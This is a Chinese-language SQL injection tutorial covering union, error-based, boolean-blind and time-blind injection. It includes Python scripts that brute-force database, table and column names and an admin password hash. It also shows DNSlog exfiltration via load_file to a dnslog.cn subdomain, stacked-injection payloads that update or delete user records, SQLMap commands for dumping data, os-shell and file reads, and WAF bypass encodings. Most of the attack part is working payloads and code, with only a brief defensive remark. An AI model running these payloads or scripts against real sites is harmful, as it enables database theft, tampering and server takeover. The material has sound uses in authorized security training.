SQL 注入详解

一、注入点判断

通常情况下，可能存在 Sql 注入漏洞的 Url 是类似这种形式 ：
http://xxx.xxx.xxx/abcd.php?id=XX 对 Sql 注入的判断，主要有两个方面

判断该带参数的 Url 是否存在 Sql 注入?

如果存在 Sql 注入，那么属于哪种 Sql 注入?

1.判断是否存在 Sql 注入漏洞

最为经典的单引号判断法:

在参数后面加上单引号,比如 http://xxx/abc.php?id=1' 如果页面返回错误，则存在 SQL 注入

> 如果未报错不代表不存在 Sql 注入，因为有可能页面对单引号做了过滤，这时可以使用判断语句进行注入，因为此为入门基础课程，就不做深入讲解了

2.判断 Sql 注入漏洞的类型

数字型判断：

当输入的参 x 为整型时，通常 abc.php 中 Sql 语句类型大致如下:

select * **from** <表名> **where** id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常，继续进行下一步

Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误，则说明此 Sql 注入为数字型注入。

我们再使用假设法：如果这是字符型注入的话，我们输入以上语句之后应该出现如下情况:

select * **from** <表名> **where** id = ' **and** 1=1'

select * **from** <表名> **where** id = ' **and** 1=2'

查询语句将 and 语句全部转换为了字符串，并没有进行 and 的逻辑判断，所以不会出现以上结果，故假设不成立。

字符型判断：

当输入的参 x 为字符型时，通常 abc.php 中 SQL 语句类型大致如下:

select * **from** <表名> **where** id = 'x'

这种类型我们同样可以使用 and '1'='1 和 and '1'='2 来判断:

Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常，继续进行下一步。

Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误，则说明此 Sql 注入为字符型注入。

> 注：注入点也可能出现在 POST 数据、Cookie 等位置，本阶段以 URL 参数为例

二、SQL 注入基本手法

联合查询

适用数据库中的内容会回显到页面中来的情况。联合查询就是利用 **union select** 语句，该语句会同时执行两条 **select** 语句，实现跨库、跨表查询。

必要条件

两条 select 语句查询结果必须具有相同的列数

对应的列数数据类型相同（特殊形况下，条件被放松）

判断查询列数

order by

select 语句后 **order by** 加数字，意为根据第多少列排序。

如果报错，则说明没有该列，继续向小的数字更改查询，直到查询出列数最大值

?id=1 order by 20

?id=1 order by 10

判断显示位置

将前一条查询语句置为假，查看哪些列会显示在页面

使用数字 1-15 占位，看哪那个位置会显示到页面

?id=1 and 1=2 union select 1,2,3,4,5,6,7,8

敏感信息	含义
version()	数据库版本
database()	当前正在使用的数据库的名称
@@datadir	MySQL 服务器的数据目录路径
current_user()	当前用户的用户名和主机名

这样就可以查看相关信息

?id=1 **and** 1=2 **union select** 1,2, **version()**,4

?id=1**and** 1=2 **union select** 1,2, **database()**,4

?id=1 **and** 1=2 **union select** 1,2, **@@datadir**,4

?id=1 **and** 1=2 **union select** 1,2, **current_user()**,4

查看表

information_schema 元数据库中的 tables 表中存储着数据库中所有的表

information_schema.tables 表结构：

用到的字段	含义
table_name	表名
table_schema	表所属的数据库

在 sql 注入中查询所有的表：

?id=1 **and** 1=2 **union select** 1,2,count(*),hex(table_name) **from** information_schema.tables

此处因为联合查询，每列的数据类型不同而报错，所以使用 hex()将 table_name 转换为 16 进制的数值型

假如查出共有 300 个表名，因为此前查出在 cms 表中，增加筛选条件

?id=1 **and** 1=2 **union select** 1,2,count(*),hex(table_name), **from** information_schema.tables **where** table_schema=database()

此处可以使用 group_concat() 连接显示出整列中的内容

?id=1 **and** 1=2 **union select** 1,2,count(*),hex(group_concat(table_name)), **from** information_schema.tables **where** table_schema=database()

查看表中字段

用户名和密码可能存于 cms_users 表中

information_schema 元数据库中的 columns 表中存储着数据库中所有的列

information_schema.columns 表结构：

用到的字段（列）	含义
table_schema	所属数据库
column_name	列 （字段名）

查看 cms_users 表中的字段

?id=1 **and** 1=2 **union select** 1,2,count(*),hex(group_concat(column_name)) **from** information_schema.columns **where** table_schema=database() **and** table_name='cms_users'

查询具体数据

读取用户名、密码

?id=1 **and** 1=2 **union select** 1,2,count(*),group_concat(username,':',password) **from** cms_users

报错注入

在注入点的判断过程中，发现数据库中 SQL 语句的报错信息，会显示在页面中，因此可以利用报错信息进行注入。

报错注入的原理，就是在错误信息中执行 SQL 语句。

函数	版本要求	报错原理	长度限制	特点
updatexml()	5.1.5+	XPath 格式错误	32 位	最常用，稳定
extractvalue()	5.1.5+	XPath 格式错误	32 位	同 updatexml，参数少一个
floor() + group by	5.0+	主键重复	无固定，受 group_concat 影响	复杂但经典
exp()	5.5+	参数溢出	整数范围	需要大数字触发
geometrycollection()	5.0+	几何函数参数错误	较短	不常用

group by

[and (select 1 from (select count(*), concat(0x7e, (查询语句), 0x7e, floor(rand()*2)) x from information_schema.tables group by x) a)] ①

① concat(分隔符，查询语句，分隔符, floor(rand()*2))，外层是为了触发报错

?id=1 **and** (**select** 1 **from** (**select** count(*),concat(0x5e,(**select** database()),0x5e,floor(rand()*2))x **from** information_schema.tables **group by** x)a)

?id=1 **and** (**select** 1 **from** (**select** count(*),concat(0x5e,(**select** password **from** cms_users limit 0,1),0x5e,floor(rand()*2))x **from** information_schema.tables **group by** x)a)

extractvalue [and extractvalue(1, concat(0x7e, (查询语句), 0x7e))]

?id=1 **and** extractvalue(1,concat(0x5e,(**select** database()),0x5e))

?id=1 **and** extractvalue(1,concat(0x5e,substr((**select** password **from** cms_users),17,32),0x5e))

updatexml [and updatexml(1, concat(0x7e, (查询语句), 0x7e), 1)]

显示长度有限制，可以拆分查询

?id=1 **and** updatexml(1,concat(0x5e,(**select** database()),0x5e),1)

?id=1 **and** updatexml(1,concat(0x5e,(**select** substr(password,1,16) **from** cms_users),0x5e),1)

?id=1 **and** updatexml(1,concat(0x5e,(**select** substr(password,17,32) **from** cms_users),0x5e),1)

当 sql 语句出现闭合时，显示报错信息

在报错信息后加报错查询

and updatexml(1,concat(0x5e,(**select** database()),0x5e),1)

爆破账号密码

查看当前数据库

?id=1 **and** extractvalue(1,concat(0x5e,(**select** database()),0x5e)) --+

查看当前数据库中的表

?id=1 **and** extractvalue(1,concat(0x5e,(**select** table_name **from** information_schema.tables **where** table_schema=database()),0x5e)) --+

如果报错返回多于一行

加限制条件，一次查询一条，从 limit 1,1 开始，直到查到 limit 7,1 出现 cms_users 表可能存在用户信息

?id=1 **and** extractvalue(1,concat(0x5e,(**select** table_name **from** information_schema.tables **where** table_schema=database() limit 7,1),0x5e)) --+

查看表中字段

?id=1 **and** extractvalue(1,concat(0x5e,(**select** column_name **from** information_schema.columns **where** table_schema=database() **and** table_name='cms_users' limit 1,1),0x5e)) --+

?id=1 **and** extractvalue(1,concat(0x5e,(**select** column_name **from** information_schema.columns **where** table_schema=database() **and** table_name='cms_users' limit 2,1),0x5e)) --

查询用户名和密码

?id=1 **and** extractvalue(1,concat(0x5e,(**select** group_concat(username,':',password) **from** cms_users),0x5e)) --+

方法总结

通用模板：***and 报错函数(固定参数, concat(分隔符, (查询语句), 分隔符), 固定参数)***

- 分隔符常用 0x7e（~）或 0x5e（^），包裹查询结果，便于在报错中识别
- 查询语句放你要获取的数据（如 database()、select table_name from ...）
- 固定参数：updatexml 三个参数，extractvalue 两个参数，填 1、0 等无关值即可
- 实战中优先使用 updatexml 和 extractvalue，稳定且易用

注意事项

长度限制：updatexml 和 extractvalue 最多返回 32 位，超出需用 substr 或 limit 分段。
分隔符选择：0x7e(~) 和 0x5e(^) 常用，也可用 '::' 等，但要避免与 XPath 语法冲突。
逐条获取：当查询结果返回多行时（如表名、字段），报错函数无法一次显示所有，需用 limit 逐条爆。
数据截断：group_concat 合并多个结果可能超长，优先用 limit 逐条。
过滤绕过：若函数名被拦截，可尝试大小写、内联注释 /*!50000updatexml*/、换用其他函数。
慎用 floor 报错：floor(rand()*2) 在某些版本或环境下可能不报错，不如 XPath 函数稳定。

布尔盲注

页面中有布尔类型的状态，可以根据布尔类型状态，对数据库中的内容进行判断。
可知，当后面的语句为真时，显示正常页面
可以利用 1=1 位置的真假返回不同页面判断数据库信息

判断数据库名的长度
判断数据库名的长度是否大于 10
?id=1 **and** length(database())>10
如果未显示正常页面，说明判断条件即 length(database())>10 错误，数据库名小于 10 位
假设进行了多次判断，最后可知数据库名长度为 3
?id=1 **and** length(database())=3

按位猜解 [使用函数 substr()+ascii() **]**
按位爆破数据库名，逐个字母进行判断
可用 ASCII 码进行快速判断名字

```
?id=1 and ascii(substr(database(),1,1))<123   #122 为 z
?id=1 and ascii(substr(database(),1,1))>64    #65 为 A
?id=1 and ascii(substr(database(),1,1))=106   #j
```

同样方法判断第二个字符和第三个字符

```
?id=1 and ascii(substr(database(),2,1))=114   #r
?id=1 and ascii(substr(database(),3,1))=108   #l
```

python 爆破数据库名相关代码

```
import string
import requests
strings = string.digits+string.ascii_letters+'_'
str = []
for i in strings:
    str.append(i)
database_name=""
# 遍历第 1-3 位
for i in range(1,4):
    # 每位遍历字母数字下划线
    for j in str:
```

```
            url = f"http://xxx/xxx.php?id=1 and substr(database(),{i},1)='{j}'"
            res = requests.get(url=url)
            if res.headers["Content-Length"] == "5263":
                database_name+=f"{j}"
                break
print(database_name)
```

获得数据库的表

获得数据库的表个数

?id=1 **and** (**select** count(table_name) **from** information_schema.tables **where** table_schema =database())=2

假如有两个表，获得某个表中的长度

?id=1 **and** length((**select** table_name **from** information_schema.tables **where** table_schema =database() limit 0,1)) = 8

假如获得第一个表的长度是 8

获取第一张表表名

?id=1 **and** ascii(substr((**select** table_name **from** information_schema.tables **where** table_ schema=database() limit 0,1),1,1))=109 # 获取第一张表的第一个字符为：m

python 爆破表名相关代码

```
import string
import requests
# 定义表名字符集（字母数字下划线）
strings = string.digits+string.ascii_letters+'_'
str = []
for i in strings:
    str.append(i)
# 跑第 0-20 个表
for i in range(0,20):
    # 跑完一个表则重置表名
    table_name = ""
    # 假设每个表的表名最长 10 位，每个表名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://xxx/xxx.php?id=1 and substr((select table_name from information_schema. tables where table_schema = database() limit {i},1),{j},1)='{name_str}'"
            res = requests.get(url=url)
            # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符，将此字符拼接到表名，继续爆破下个字符
            if res.headers["Content-Length"] == "5263":
                table_name+=name_str
                break
    print(table_name)
```

获得表的字段

获得表列数

?id=1 **and** (**select** count(column_name) **from** information_schema.columns **where** table_schema=database() **and** table_name='users')=5

假如获得列数为 5

获得字段的长度

?id=1 **and** length((select column_name **from** information_schema.columns **where** table_schema=database() **and** table_name='users' limit 0,1))=2

假如获得字段长度为 2

获得字段的名称

?id=1 **and** ascii(substr((**select** column_name **from** information_schema.columns **where** table_schema=database() **and** table_name='users' limit 0,1),2,1))=100

假如第一个字段的第二个字符为 d

以此推类获得字段的名称是 id，同理可以获得其他字段 name,password,photo 等等

python 爆破字段相关代码

```
import string
import requests
# 定义表名字符集（字母数字下划线）
strings = string.digits+string.ascii_letters+'_'
str = []
for i in strings:
    str.append(i)
# 跑第 0-10 个字段（假设最多 10 个字段）
for i in range(0,10):
    # 跑完一个字段则重置字段名
    column_name = ""
    # 假设每个表的字段名最长 10 位，每个字段名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://xxx/xxx.php?id=1 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1)='{name_str}'"
            res = requests.get(url=url)
            # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符，将此字符拼接到字段名，继续爆破下个字符
            if res.headers["Content-Length"] == "5263":
                column_name+=name_str
                break
    print(column_name)
```

获得字段的内容

获得字段第一行数据的内容长度

?id=1 **and** (**select** LENGTH(name) **from** users LIMIT 0,1)=6

假如 derry1 等于 6 个字符长度
获得 id 字段第一行数据第一个字符内容
?id=1 **and** ascii(substr((**select** name **from** users limit 0,1),1,1))=100
可得最终数据为：derry1

python 爆破用户名相关代码

```
import string
import requests
# 定义表名字符集（字母数字下划线）
strings = string.digits+string.ascii_letters+'_'
str = []
for i in strings:
    str.append(i)
# 跑第 0-10 个用户名
for i in range(0,10):
    # 跑完一个表则重置用户名
    user_name = ""
    # 假设每个用户的表名最长 10 位，每个用户名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://xxx/xxx.php?id=1 and substr((select username from cms_users limit {i},1),{j},1)='{name_str}'"
            res = requests.get(url=url)
            # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符，将此字符拼接到用户名，继续爆破下个字符
            if res.headers["Content-Length"] == "5263":
                user_name+=name_str
                break
    print(user_name)
```

python 爆破用户密码相关代码

```
import string
import requests
import hashlib
# 定义表名字符集（字母数字下划线）
strings = string.digits+string.ascii_letters+'_'
str = []
for i in strings:
    str.append(i)
password = ""
# md 5 加密后 32 位，爆破 32 位
for j in range(1,33):
    for name_str in str:
```

```
        url = f"http://xxx/xxx.php?id=1 and substr((select password from cms_users where username = 'admin' limit 0,1),{j},1)='{name_str}'"
        res = requests.get(url=url)
        # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符，将此字符拼接到密码，继续爆破下个字符
        if res.headers["Content-Length"] == "5263":
            password+=name_str
            break
print(password)
```

方法总结

通用模板：***and ascii(substr((查询语句), 位置 M, 1)) 比较符 预期值***

- 查询语句：要猜解的内容（如 database()、(select table_name from … limit 0,1) 等）
- 位置 M：当前猜的是第几位（从 1 开始）
- 比较符：常用 =、>、<
- 预期值：ASCII 码数值

注意事项
判断页面稳定性：确保真/假状态差异稳定可区分，避开动态内容干扰。
二分法提速：先用 >、< 确定范围，再精确值，别逐一遍历 ASCII。
注意大小写：库/表/字段名可能大小写不敏感，但数据内容敏感。
函数差异：substr() 在不同数据库语法有别，跨库时需调整。
空格与注释：空格可能被拦截，用 +、%20、/**/ 代替；行尾加 --+ 或 # 截断。
引号闭合：字符型注入要先闭合前引号，再拼接条件。
逐行获取：多行结果用 limit 0,1、limit 1,1… 逐条猜解。

延时注入

由于网络问题等原因，若超时时间太短可能造成爆破不准确，但超时时间设置过长会导致爆破时间成本上升

原理

通过 if 中的条件，如果为真则沉睡，否则不沉睡

此处按位测试第一个字符，如果当前数据库第一个字符匹配时，则加载五秒

http://xxx/xxx.php?id=1 **and if**(substr(database(),1,1)='c',sleep(5),1)

使用条件

union，报错、布尔等搞不定的时候才考虑，效率极低

判断是延迟注入点

睡了代表是正确的，没有睡代表是错误的

?id=1 **and** sleep(5)　　# F12 查看，每次访问 都睡了 5 秒多钟

?id=-1 **and** sleep(5)　　# F12 查看，每次访问 都没有怎么睡

获得数据库名字

获得数据库名字长度

?id=1 **and if**(length(database())<10,sleep(5),1)　# 睡了代表在 10 之内的长度

?id=1 **and if**(length(database())=4,sleep(5),1) **# 睡了代表获得长度为 4**

假如数据库名长度为 4

获得数据库名字符

?id=1 **and if**(ascii(substr(database(),1,1))=106,sleep(5),1) **#j 睡了 对的**

?id=1 **and if**(ascii(substr(database(),2,1))=114,sleep(5),1) **#r 睡了 对的**

?id=1 **and if**(ascii(substr(database(),3,1))=108,sleep(5),1) **#l 睡了 对的**

?id=1 **and if**(ascii(substr(database(),4,1))=116,sleep(5),1) **#t 睡了 对的**

假如得到数据库的名称为 jrlt

python 爆破数据库相关代码

```
import string
import requests
strings = string.digits+string.ascii_letters+'_'
str = []
for i in strings:
    str.append(i)
database_name=""
# 遍历第 0-3 位
for i in range(0,4):
    # 每位遍历字母数字下划线
    for j in str:
        url=f"http://xxx/xxx.php?id=1 and if(substr(database(),{i},1)='{j}',sleep(1),1)"
        # 捕获异常，如果超时，则该字符匹配，在 password_name 后拼接该字符
        try:
            res = requests.get(url=url,timeout=1)
        except requests.exceptions.ReadTimeout:
            database_name+=j
            break
print(database_name)
```

获得表名

?id=1 **and if**(ascii(substr((**select** table_name **from** information_schema.tables **where** table_schema =database() limit 0,1),1,1))=109,sleep(5),1) **//m 睡了 对的**

?id=1 **and if**(ascii(substr((**select** table_name **from** information_schema.tables **where** table_schema =database() limit 0,1),2,1))=101,sleep(5),1) **//e 睡了 对的**

python 爆破表名相关代码

```
import string
import requests
# 定义表名字符集（字母数字下划线）
strings = string.digits+string.ascii_letters+'_'
str = []
for i in strings:
    str.append(i)
# 跑第 0-20 个表
```

```
for i in range(0,20):
    # 跑完一个表则重置表名
    table_name = ""
    # 假设每个表的表名最长 10 位，每个表名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://xxx/xxx.php?id=1 and if(substr((select table_name from information_schema.tables where table_schema = database() limit {i},1),{j},1)='{name_str}', sleep(1),1)"
            # 捕获异常，如果超时则该字符匹配，在 password_name 后拼接该字符
            try:
                res = requests.get(url=url, timeout=1)
            except requests.exceptions.ReadTimeout:
                table_name += name_str
                break
    print(table_name)
```

获得表的字段名

```
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))=105,sleep(5),1)      //i 睡了 对的
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),2,1))=100,sleep(5),1)      //d 睡了 对的
```

python 爆破字段名相关代码

```
import string
import requests
# 定义表名字符集（字母数字下划线）
strings = string.digits+string.ascii_letters+'_'
str = []
for i in strings:
    str.append(i)
# 跑第 0-10 个字段（假设最多 10 个字段）
for i in range(0,10):
    # 跑完一个字段则重置字段名
    column_name = ""
    # 假设每个表的字段名最长 10 位，每个字段名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://xxx/xxx.php?id=1 and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1)='{name_str}',sleep(3),1)"
            # 捕获异常，如果超时则该字符匹配，在 password_name 后拼接该字符
```

```
                try:
                    res = requests.get(url=url, timeout=3)
                except requests.exceptions.ReadTimeout:
                    column_name += name_str
                    break
    print(column_name)
```

获得表的字段的数据

```
?id=1 and if(ascii(substr((select name from users limit 0,1),1,1))=100,sleep(5),1)      // d
?id=1 and if(ascii(substr((select name from users limit 0,1),2,1))=101,sleep(5),1)      // e
```

python 爆破用户名相关代码

```
import string
import requests
# 定义表名字符集（字母数字下划线）
strings = string.digits+string.ascii_letters+'_'
str = []
for i in strings:
    str.append(i)
# 跑第 0-10 个字段（假设最多 10 个字段）
for i in range(0,10):
    # 跑完一个字段则重置字段名
    column_name = ""
    # 假设每个表的字段名最长 10 位，每个字段名按位查询
    for j in range(1,10):
        for name_str in str:
            url = f"http://xxx/xxx.php?id=1 and if(substr((select username from cms_users limit {i},1),{j},1)='{name_str}',sleep(5),1)"
            # 捕获异常，如果超时则该字符匹配，在 password_name 后拼接该字符
            try:
                res = requests.get(url=url, timeout=1)
            except requests.exceptions.ReadTimeout:
                column_name += name_str
                break
    print(column_name)
```

python 爆破用户密码相关代码

```
import string
import requests
# 定义表名字符集（字母数字下划线）
strings = string.digits+string.ascii_letters+'_'
str = []
for i in strings:
    str.append(i)
```

```
password = ""
# md 5 加密后 32 位，爆破 32 位
for j in range(1,33):
    for name_str in str:
        url = f"http://xxx/xxx.php?id=1 and if(substr((select password from cms_users where username = 'admin' limit 0,1),{j},1)='{name_str}',sleep(1),1)"
        res = requests.get(url=url)
        # 捕获异常，如果超时则该字符匹配，在 password_name 后拼接该字符
        try:
            res = requests.get(url=url, timeout=1)
        except requests.exceptions.ReadTimeout:
            password += name_str
            break
print(password)
```

方法总结

通用模板：***and if(ascii(substr((查询语句), 位置 M, 1)) 比较符 预期值, sleep(N), 1)***

- 查询语句：要猜解的内容（如 database()、select table_name from … limit 0,1）
- 位置 M：当前猜的第几位（从 1 开始）
- 比较符：=、>、<
- 预期值：ASCII 码数值

核心逻辑：

1. 猜长度：if(length(目标) > N, sleep(3), 1)
2. 猜字符：if(ascii(substr(目标, M, 1)) > X, sleep(3), 1)
3. 逐位推进，直至完整内容。

注意事项
网络干扰：设置足够长延时（3-5 秒），与正常响应拉开差距。
超时设置：请求工具的超时时间要大于延时时间。
sleep 被禁：若 sleep() 被过滤，改用 benchmark(10000000, md5('a'))。
效率极低：手工盲注极慢，实战优先用 SQLmap。
服务器负担：延时注入会消耗数据库资源，生产环境慎用。
注释与空格：同布尔盲注，注意闭合引号、添加注释符 --+ 或 #。

三、SQL 注入进阶手法

DNSlog 盲注

什么情况下使用:
DNSlog 盲注就是通过 load_file 函数发起请求，然后去 DNSlog 平台接收数据，需要用到 load_file 函数就是需要用到 root用户读写文件的功能
相关平台：http://dnslog.cn/（这里都以此平台为准）
http://ceye.io/

实战理解
点击 Get SubDomain
设得到 29jr5p.dnslog.cn 地址
获得数据库名字
?id=1 **and** load_file(concat('//',(**select** database()),'.把获得的地址替换到此处/123'))
?id=1 **and** load_file(concat('//',(**select** database()),'.29jr5p.dnslog.cn/123'))
获得当前数据库的表
?id=1 **and** load_file(concat('//',(**select** table_name **from** information_schema.tables **where** table_schema=database() limit 0,1),'.把获得的地址替换到此处/123')
?id=1 **and** load_file(concat('//',(**select** table_name **from** information_schema.tables **where** table_schema=database() limit 0,1),'.29jr5p.dnslog.cn/123')
随后点击 Refresh Record 就可得到我们想要的信息

方法总结
利用数据库发起 DNS 请求，将查询结果外带到 DNS 日志平台。核心函数：MySQL 的 load_file()、MSSQL 的 xp_dirtree 等
通用模板：***and load_file(concat('\\\\', (查询语句), '.your.dnslog.cn\\test'))***

注意事项
需要数据库有 FILE 权限，且 secure_file_priv 不为 NULL。
Windows 系统利用 UNC 路径，Linux 一般不支持。
可解决盲注效率低、无回显、易被封 IP 的问题。
注意 concat 拼接格式，确保域名正确，避免解析失败。

二次注入

概念
二次注入是指已存储（数据库、文件）的用户输入被读取后，再次进入到 SQL 查询语句 中导致的注入

实战理解
先注册个用户：admin/123456 为后面做准备
目前在数据库里面有条姓名为 admin 密码为 admin 的用户

攻击步骤 1：碰撞用户
再次注册用户名为 admin 密码为 123456 会提示 admin用户提示已经存在，那可以进行攻击

攻击步骤 2：注册新用户

根据已经获得的 admin用户注册新的的用户 admin'#/123456

攻击步骤 3：修改 admin'#用户的密码

先登录 admin'#用户，然后进行修改密码

这样就会会直接影响到 另外一个用户【admin】的密码

原理详解

```
// 注册时（假设 magic_quotes_gpc 开启或使用 addslashes）
$username = addslashes($_POST['username']); // 将 admin'# 转义为 admin'\#
$password = md5($_POST['password']);
$sql = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
mysql_query($sql);
```

```
// 修改密码时（二次注入点）
$newpass = md5($_POST['newpass']);
$username = $_SESSION['username']; // 从数据库取出的原始值，未转义
$sql = "UPDATE users SET password='$newpass' WHERE username='$username'";
// 如果 username 为 admin'# ，则实际 SQL 变为：
// UPDATE users SET password='...' WHERE username='admin'#' ...
// 成功修改 admin 的密码
```

方法总结

恶意数据先存入数据库（存储时可能被转义），后被其他功能取出并拼接入 SQL 时触发。

核心流程

1. 注册/插入包含注入负载的数据（如 admin'#）。
2. 数据库存储时转义，但取出时还原。
3. 其他功能（如修改密码）拼接该数据导致注入。

注意事项

黑盒难以发现，需审计代码逻辑。

开发者常默认数据库数据安全，忽略二次过滤。

典型场景：注册、修改个人信息、留言板等。

防御：无论数据来源，拼接 SQL 前一律过滤或使用参数化查询。

堆叠注入

概念

在 SQL 数据库中每条语句是以";"分开的，堆叠注入就是一次性注入并执行多条语句（多语句之间以分号隔开）的注入方式。（故事：地铁出站 套票 一次性进两个人）

与 union 对比

union 联合查询注入执行的语句类型是有限的，可以用来执行查询语句。堆叠注入可以执行的是任意的语句，如增删改等

实战理解

假设有个内部论坛，注册功能不会对外开放，需要留言可以通过前面的方式获取其他用户的账号、密码（设有个 admin/123456 用户）

步骤 1：获取 user 表的字段数据

这个前面知识讲过，为避免重复讲解此处进行跳过

步骤 2：构建攻击语句

通前面得知了表名、数据的样貌，就可以构建新增 SQL 语句

?id=2;**insert into** users (name,password) values('ddd',md5('ddd'))

更多利用示例

修改数据：?id=1'; **update** users **set** password=md5('hacked') **where** username='admin' --+

删除数据：?id=1'; **delete from** users **where** username='test' --+

创建新表（权限允许时）：?id=1'; **create table** shell(cmd text) --+

方法总结

利用分号";"结束前一条语句后执行后续多条 SQL 语句，可执行增删改查任意操作。

通用模板：***?id=1; insert into users(username,password) values('hacker','123') --+***

注意事项

需要数据库 API 支持多语句执行（如 PHP 的 mysqli_multi_query）。

MySQL 默认不支持堆叠查询（但某些驱动或配置可开启）。

第二条语句如果是 select，结果通常不直接回显，常用 union 代替。

危害极大：可增删改数据、创建后门、执行系统命令（结合 MSSQL 的 xp_cmdshell）。

检测：尝试 ; sleep(5) 观察延时，或 ; select if(1=1,sleep(5),null)。

四、SQLMap工具运用

sqlmap 是一个开源的渗透测试工具，它可以自动化检测和利用SQL 注入漏洞并接管数据库服务器。它有一个强大的检测引擎，许多适合于终极渗透测试的良好特性和众多的操作选项

SQLMap 常用参数速查		
类型	**参数**	**说明**
目标与请求	-u URL	指定目标 URL（如 -u "http://xx.com/?id=1"）
	--data=DATA	POST 数据（如 --data="user=admin&pass=123"）
	--cookie=COOKIE	设置 Cookie
	--headers=HEADERS	自定义请求头
	--user-agent=AGENT	指定 User-Agent
	--random-agent	随机 User-Agent
	--method=METHOD	指定 HTTP 方法（GET/POST）
注入技术选择	--technique=TECH	指定注入技术：B 布尔、E 报错、U 联合、S 堆叠、T 时间（如 --technique=BEU）
	--time-sec=SEC	时间盲注延时（默认 5 秒）
	--union-cols=COLS	指定联合查询列数
枚举操作	--current-db	当前数据库名
	--dbs	所有数据库
	-D DB	指定数据库
	--tables	列出表
	-T TBL	指定表
	--columns	列出字段
	-C COL	指定字段（可逗号分隔）
	--dump	导出数据
	--count	统计条目数
	--sql-shell	进入 SQL 交互 shell
优化与性能	--batch	自动选择默认选项，无需交互
	--threads=THREADS	并发线程数（建议≤10）
	--predict-output	预测输出（加快枚举）
	--keep-alive	保持连接（减少开销）
	--null-connection	空连接探测（节约资源）
绕过与定制	--level=LEVEL	测试深度（1-5，默认 1）
	--risk=RISK	风险等级（1-3，默认 1，3 可能对表进行改动）
	--tamper=TAMPER	使用绕过脚本（如 --tamper=space2comment）
	--skip-waf	跳过 WAF/IPS 检测
文件系统与命令执行	--file-read=FILE	读取服务器文件
	--file-write=LOCAL	本地文件写入
	--file-dest=REMOTE	远程目标路径（与--file-write 搭配）
	--os-shell	获取系统 shell（需权限）
	--os-cmd=CMD	执行单条系统命令
其他实	--proxy=PROXY	使用代理（如 --proxy="http://127.0.0.1:8080"）

用参数	--check-tor	检查 Tor 是否可用
	--flush-session	清空会话缓存
	--purge-output	清空输出目录
	-v LEVEL	输出详细等级（0-6）

实战理解

简单帮助： python sqlmap.py -h

详细帮助： python sqlmap.py –hh

清除缓存： python –purge

基本操作

检测漏洞

```
sqlmap -u 'http://xxx/xxx.php?id=1'
```

查询当前数据库

```
sqlmap -u 'http://xxx/xxx.php?id=1' --current-db
```

当前库有哪些表

```
sqlmap -u 'http://xxx/xxx.php?id=1' -D jrlt --tables
```

某表有哪些字段

```
sqlmap -u 'http://xxx/xxx.php?id=1' -D jrlt -T users --columns
```

列出内容（数据）

```
sqlmap -u 'http://xxx/xxx.php?id=1' -D jrlt -T users -C password –dump
sqlmap -u 'http://xxx/xxx.php?id=1' -D jrlt -T users –C name,password –dump
```

拓展操作

执行sql（只支持查询）

```
sqlmap -u 'http://xxx/xxx.php?id=1' --sql-shell
select * from messages
exit
```

弱密码爆破

```
sqlmap -u 'http://xxx/xxx.php?id=1' --password
```

执行系统命令

```
sqlmap -u 'http://xxx/xxx.php?id=1' --os-shell
dir .....
exit
```

读取文件

```
sqlmap -u 'http://xxx/xxx.php?id=1' --file-read "D:\e.txt"
```

注意事项

文件操作必须成对出现：--file-write（本地文件）和 --file-dest（远程路径）缺一不可。

风险等级：--risk=3 可能对数据进行修改（如 UPDATE），谨慎使用。

线程设置：--threads 不宜过大（建议 ≤10），否则可能引发拒绝服务或封 IP。

时间盲注延时：--time-sec 默认 5 秒，网络不稳定时可适当增加，避免误判。

高危操作：--os-shell、--os-cmd 等可能直接控制服务器，仅在授权测试最后阶段使用。

缓存与会话：多次测试同一目标时，SQLMap 会缓存结果，如需重新测试可用 --flush-session 清空。

绕过 WAF：--tamper 可组合多个脚本（如 --tamper=space2comment,between），但可能降低效率。手工辅助：SQLMap 不能处理所有逻辑（如二次注入、某些 Token 验证），必要时需手工测试。
日志记录：加 -v 3 可查看详细请求，便于调试或手工复现。
限定顺序：-D（库）→ -T（表）→ -C（字段）→ --dump（数据），逻辑清晰不易错。

五、WAF 绕过手法精讲

绕过手法的核心目的是在不被 WAF 或过滤器拦截的情况下，让恶意 Payload 正常执行。下面按技术分类，逐一讲解

注释符绕过

利用数据库支持的注释符号，将 Payload 中的敏感关键字“隐藏”起来。

- 单行注释：--+（注意 URL 中+表示空格）、#（URL 编码为%23）
- 多行注释：/*注释内容*/
- 内联注释：/*!union*/、/*!50000select*/（MySQL 特有，注释内的语句仍会被执行）

示例：?id=1' /*!union*/ /*!select*/ 1,2,3 --+

大小写混合

将关键字中的字母大小写混写，绕过只针对全大写的简单正则。

示例：?id=1' UnIoN sElEcT 1,2,3 --+

双写/重复关键字

当 WAF 只删除一次关键字时，通过重复书写让过滤后恢复原样（如 union → ununionion）。

示例：?id=1' ununionion select 1,2,3 --+

编码绕过

利用各种编码使 Payload 变形，服务端解码后还原。

- URL 编码：' → %27，空格 → %20
- 十六进制：将字符串转为十六进制，如 'admin' → 0x61646D696E
- 双重编码：%2527（服务器两次解码时有效）
- Unicode 编码：部分 WAF 可能未处理 Unicode

示例：?id=1' union select 1,0x61646D696E,3 --+

空格绕过

当空格被过滤时，用其他字符替代。

- + 号：union+select
- 注释符：union/**/select
- 制表符 %09、换行符 %0a、回车符 %0d
- 括号包裹：select(1)from(users)

示例：?id=1' union/**/select/**/1,2,3 --+
?id=1' union%0aselect%0a1,2,3 --+

